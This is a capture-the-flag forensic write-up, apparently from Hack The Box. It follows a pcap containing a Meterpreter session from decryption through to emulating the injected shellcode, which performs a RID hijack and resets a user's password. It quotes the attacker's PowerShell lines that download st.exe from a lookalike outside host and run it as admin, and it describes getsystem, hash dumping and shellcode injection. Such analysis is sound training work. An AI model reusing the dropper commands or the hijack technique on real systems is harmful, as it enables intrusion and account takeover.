Shadow of The Undead
Shadow of The Undead
Difficulty: Hard
Classification: Official
Synopsis
A hard forensic challenge featuring Meterpreter session decryption and a custom shellcode
emulation. Players will need to extract the dropper from the capture file and identify the traffic as a
Meterpreter session. After they parse and decrypt said traffic, they will need to identify the
shellcode injection point and extract the shellcode. Finally, they will need to emulate the shellcode
to understand its behavior.
Note: Along the way, depending on the tools/methods used, players may need to implement
additional functionality to achieve (full) WinAPI emulation and/or Meterpreter session parsing.
Description
As the battle of Hackster University ranges on, as head of Defense, you are notified that a Task Force
group is on their way in order to properly remove and destroy the Biohazard waste from the premises.
You should be receiving a briefing later today about how to better prepare for the extraction and you
have already set up a Guest account for them on the workstation. However, after some time you see
some strange activity in the network from the task force group; that has yet to arrive! You then decide to
investigate...
Skills Required
Skills Required
Capture file analysis/parsing
Meterpreter
Skills Learned
Meterpreter TLV parsing
Enumeration
We are given a zip file containing a capture.pcap file and an st.dmp file that we suspect is a process
dump. Since we don't know anything about the process dump, we should focus on the capture file first:
We first see that a runner.js file is being downloaded and then 2 GET requests are made for st.exe
and biohazard_containment_update.pdf
From here we suspect that st.dmp could be the process dump of the st.exe process!
Finally, the script exits before it deletes itself. Now let's decode the first Powershell command:
$name = "biohazard_containment_update.pdf"
$path = "$env:TEMP\\$name"
Invoke-WebRequest -URI "http://storage.microsoftcloudservices.com:8817/$name" -OutFile$path
Start-Process $path
It simply downloads a PDF to the TEMP location and then executes it. We can take a look at the resulting
PDF:
It seems to be the protocol briefing the description mentions, which would serve as a decoy so the user
"sees" the result they were expecting
Now the second command should be the one we are interested in:
iwr -uri http://storage.microsoftcloudservices.com:8817/st.exe -outfile $env:TEMP\st.exe
Start-Process $env:TEMP\st.exe -Verb RunAs
A lot of detections mention that this is a Meterpreter payload, part of the Metasploit Framework
initiated by st.exe
Before trying to parse the data, let's do some digging around in order to better understand the Packet
structure and communication of the session
GitHub PR
Unlike TCP packets, TLVs can span more than 1 TCP packet, and vice-versa, a single TCP packet could
contain more than just a single TLV packet.
So if we want to parse the session manually, we will need to concatenate the data section of each TCP
packet and then iterate over them manually with offsets and indices.
0xdf did an amazing job explaining how one would go about parsing the data manually, and I highly
recommend you watch his video before following this writeup.
Instead of creating a script catered to our needs, we will be using a project called REW-sploit that can
parse the TLVs and decrypt them as well.
Note: REW-sploit assumes that there is no encrypted key exchange going on and will try to extract the
key from the respective type: meterpreter_reverse_tcp.py#L164.
Since there is EKE (Encrypted Key Exchange) taking place, the packet containing the key has a type of
TLV_TYPE_ENC_SYM_KEY and a value of RSA_public_encrypt(AES256) .
If we had the Private Key, then we could decrypt it and recover the symmetric key, however, that's
impossible because that would require a compromised C2 host!
Now that we have the symmetric key, we can hardcode it into REW-sploit to be used!
Note: This assumes that the victim does not migrate to another process and/or does not re-negotiate
keys again!
The first two packets deal with the key negotiation, grab the public key, generate an AES256 key, encrypt
it, etc. The identified key is the one we hardcoded into the codebase.
The next couple of packets are for setting up the GUID for the session which up until this moment was
zero, and doing some enumeration. This is all standard staging procedure, no user action yet!
>>>>>>>>>>>>>>> REQUEST
Type: TLV_TYPE_COMMAND_ID (0x20001)
Length: 12
Value: COMMAND_ID_STDAPI_FS_GETWD (0x3F0)
>>>>>>>>>>>>>>> REPLY
The C2 server sends a request with a type of TLV_TYPE_COMMAND_ID and the value (command) to be
executed is COMMAND_ID_STDAPI_FS_GETWD which returns the working directory of the process:
b'C:\\Temp\x00' .
Which returns the current user, it looks like we are getting into user commands territory!
A sysinfo command is executed which returns some information about the system:
WS01-HACKSTER
Windows 10 (10.0 Build 19044)
x64
en_US
WORKGROUP
Moving further down the output, we find COMMAND_ID_PRIV_ELEVATE_GETSYSTEM which is consistent with
the getsystem command, which grants you SYSTEM privileges. An executable is sent over judging by the
MZ header, and this is what will allow us to get SYSTEM privileges. Keep in mind that we ran st.exe as
admin!
On the next getuid command we confirm the malicious actor has indeed gained SYSTEM privileges:
>>>>>>>>>>>>>>>
[...REDACTED...]
Now that the session is running under NT AUTHORITY\SYSTEM the actor proceeds to dump all user
hashes:
Shellcode injection
Something really interesting happens after that, we see notepad.exe spawning:
Type: TLV_TYPE_COMMAND_ID (0x20001)
Length: 12
Value: COMMAND_ID_STDAPI_SYS_PROCESS_EXECUTE (0x42D)
Then the permissions of the (newly created) memory segments are changed:
This is textbook shellcode injection, where we allocate a memory segment, change the permissions to
RWX , and finally, create a new thread inside the remote process (in our case notepad.exe ) that runs our
shellcode for us.
In fact, all the above happens from the post/windows/manage/shellcode_inject module of Metasploit:
Spawn notepad.exe : shellcode_inject.rb#L88
From here we need to dump the shellcode and make our way from there. We could just edit the code
and when the type matches 0x407D4 which is the type that signifies the shellcode data write the output
to a file.
This excellent blog post serves as one of the best primers for windows shellcoding.
Instead they use functions from the Windows API (WinAPI), which internally call functions from
the Native API (NtAPI), which in turn use system calls. The Native API functions are
undocumented, implemented in ntdll.dll and also, as can be seen from the picture above, the
lowest level of abstraction for User mode code.
The documented functions from the Windows API are stored in kernel32.dll, advapi32.dll,
gdi32.dll and others. The base services (like working with file systems, processes, devices,
etc.) are provided by kernel32.dll.
So we somehow need to find a way to emulate or somehow understand which of the above .dll files
are loaded and then which functions are used!
Speaking Easy
Thankfully there exists speakeasy, an amazing tool based on the unicorn emulation engine that
emulates WinAPI calls using a hook-style system.
Let's run our shellcode using this tool and using the -o parameter to output a report
* exec: shellcode
0x1864: 'kernel32.LoadLibraryA("user32.dll")' -> 0x77d10000
0x187b: 'kernel32.LoadLibraryA("advapi32.dll")' -> 0x78000000
0x1892: 'kernel32.LoadLibraryA("netapi32.dll")' -> 0x54400000
0x18d9: 'kernel32.GetProcAddress(0x77000000, "WinExec")' -> 0xfeee0000
0x18f8: 'kernel32.GetProcAddress(0x77000000, "lstrcatA")' -> 0xfeee0001
0x1937: 'kernel32.GetProcAddress(0x78000000, "RegGetValueA")' -> 0xfeee0002
0x1956: 'kernel32.GetProcAddress(0x78000000, "RegSetKeyValueA")' -> 0xfeee0003
0x1975: 'kernel32.GetProcAddress(0x78000000, "RegOpenKeyExA")' -> 0xfeee0004
0x19bf: 'kernel32.GetProcAddress(0x77d10000, "wsprintfA")' -> 0xfeee0005
0x19f3: 'kernel32.GetProcAddress(0x54400000, "NetUserSetInfo")' -> 0xfeee0006
0x1a5d: 'advapi32.RegOpenKeyExA(0xffffffff80000002, "SOFTWARE\\VMware, Inc.\\VMware Tools",
0x0, 0x1, 0x1203d40)' -> 0x3
0x1ab3: 'advapi32.RegGetValueA(0xffffffff80000002,
"SAM\\SAM\\Domains\\Account\\Users\\Names\\biohazard_mgmt_guest", 0x0, 0xffff, 0x1203c98, 0x0,
0x0)' -> 0x0
0x1b0b: 'user32.wsprintfA(0x1203e20, 0x1af3, 0x1203b70, 0x0,
"SAM\\SAM\\Domains\\Account\\Users\\00000000", "%s%08x")' -> 0x26
0x1b4f: 'advapi32.RegGetValueA(0xffffffff80000002,
"SAM\\SAM\\Domains\\Account\\Users\\00000000", "F", 0xffff, "REG_NONE", 0x1203da0, 0x1203c08)'
-> 0x0
0xfeee0003: shellcode: Caught error: unsupported_api
Invalid memory read (UC_ERR_READ_UNMAPPED)
Unsupported API: advapi32.RegSetKeyValueA (ret: 0x1bbf)
* Finished emulating
* Saving emulation report to resp.json
The emulation stops with an Unsupported API error code. Nevertheless, let's analyze it:
user32.dll
advapi32.dll
netapi32.dll
Using their base address the following functions are brought in-scope:
WinExec
lstrcatA
RegGetValueA
RegSetKeyValueA
RegOpenKeyExA
wsprintfA
NetUserSetInfo
A registry key is opened and based on Microsoft's documentation, RegOpenKeyExA() 's first argument
could be an already open key or HKEY_LOCAL_MACHINE (among others).
A call to wsprintfA() (the sprintf() analog) is then taking place with a format string specifier %s%08
and a string argument of HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\00000000 . We
suspect that this sets up the user's key variable for a RID Hijack attack. Basically, by changing the RID
of the user, we can make them part of the Default Administrators without changing group
membership!
The next function call is RegSetKeyValueA() and this is where the emulator fails...
Solution
After reading speakeasy's documentation, we learned that it is quite easy to add our own API Handlers
to add (partial) support.
After cloning the repo we need to edit the advapi32.py file and add our own hook for the
RegSetKeyValueA function:
Since we know that this will overwrite the new F value with the modified one, we don't need to
implement any emulated registry write, to pass. Just return ERROR_SUCCESS so that the emulator
continues!
The registry write passes successfully but now it fails at the NetUserSetInfo() function. Again using the
same logic we can add a hook for the NetUserSetInfo() function:
@apihook("NetUserSetInfo", argc=5)
def NetUserSetInfo(self, emu, argv, ctx={}):
"""
NET_API_STATUS NET_API_FUNCTION NetUserSetInfo(
LPCWSTR servername,
LPCWSTR username,
DWORD level,
LPBYTE buf,
LPDWORD parm_err
);
"""
return netapi32defs.NERR_Success
Let's rerun:
0x1ab3: 'advapi32.RegGetValueA(0xffffffff80000002,
"SAM\\SAM\\Domains\\Account\\Users\\Names\\biohazard_mgmt_guest", 0x0, 0xffff, 0x1203c98, 0x0,
0x0)' -> 0x0
0x1b0b: 'user32.wsprintfA(0x1203e20, 0x1af3, 0x1203b70, 0x0,
"SAM\\SAM\\Domains\\Account\\Users\\00000000", "%s%08x")' -> 0x26
0x1b4f: 'advapi32.RegGetValueA(0xffffffff80000002,
"SAM\\SAM\\Domains\\Account\\Users\\00000000", "F", 0xffff, "REG_NONE", 0x1203da0, 0x1203c08)'
-> 0x0
0x1bbf: 'advapi32.RegSetKeyValueA(0xffffffff80000002, 0x1203e20, 0x1203b60, 0xffff, 0x1203da0,
0x50)' -> 0x0
0x1c2b: 'NETAPI32.NetUserSetInfo(0x0, 0x1203df0, 0x3eb, 0x1203c80, 0x0)' -> 0x0
* Finished emulating
* Saving emulation report to rep.json
Okay, now the emulation finishes correctly but no flag in sight... Let's take a better look at the
NetUserSetInfo() function!
Consulting the docs we find the types and meaning of the arguments passed in.
We are interested in the level argument and the buf argument. Depending on the level 's value, the
data buf points to is interpreted differently!
In our case level has a value of 0x3eb (1003) and from the table, we find that a level value of 1003
signifies that the buf variable points to a USER_INFO_1003 struct.
The aforementioned struct contains a member variable that is a pointer to a Unicode string that will be
used as the new user password (user specified as a string pointed by the second argument)
This is a way to change the user's password without using WinExec (which can be detected using various
tools).
The fourth argument of the NetUserSetInfo() function is a double pointer to a Unicode string so for us
to read the password we have to play around with the emulated address space. We modify our hook
function as so:
3. We then convert the bytes to an integer and use it to read a string from the resulting address
Note: Since this is a Unicode string, each character uses 2 bytes instead of 1, this is the character width
used as the second argument in self.read_mem_string(addr, 2)
If we read the report.json we can find the flag under the unicode strings. Keep in mind that the first
hook needs to be implemented as decryption happens right before NetUserSetInfo() !
$ cat rep.json | jq
{
"path": "exported.bin",
"sha256": "2fad814e5cc14bb70328c617c6725fcf3da98f9ab7cd01443c96253fd51a6db6",
"size": 4608,
"arch": "x64",
"mem_tag": "emu.shellcode.2fad814e5cc14bb70328c617c6725fcf3da98f9ab7cd01443c96253fd51a6db6",
"emu_version": "1.5.11",
"os_run": "windows.6_1",
"report_version": "1.1.0",
"emulation_total_runtime": 0.473,
"timestamp": 1701291336,
"strings": {
"in_memory": {
"unicode": [
"kernel32.dll",
"BIOHAZARD_MGMT_GUEST",
"HTB{REDACTED}",
"(QNDA",
"FOI|"
]
}
}
}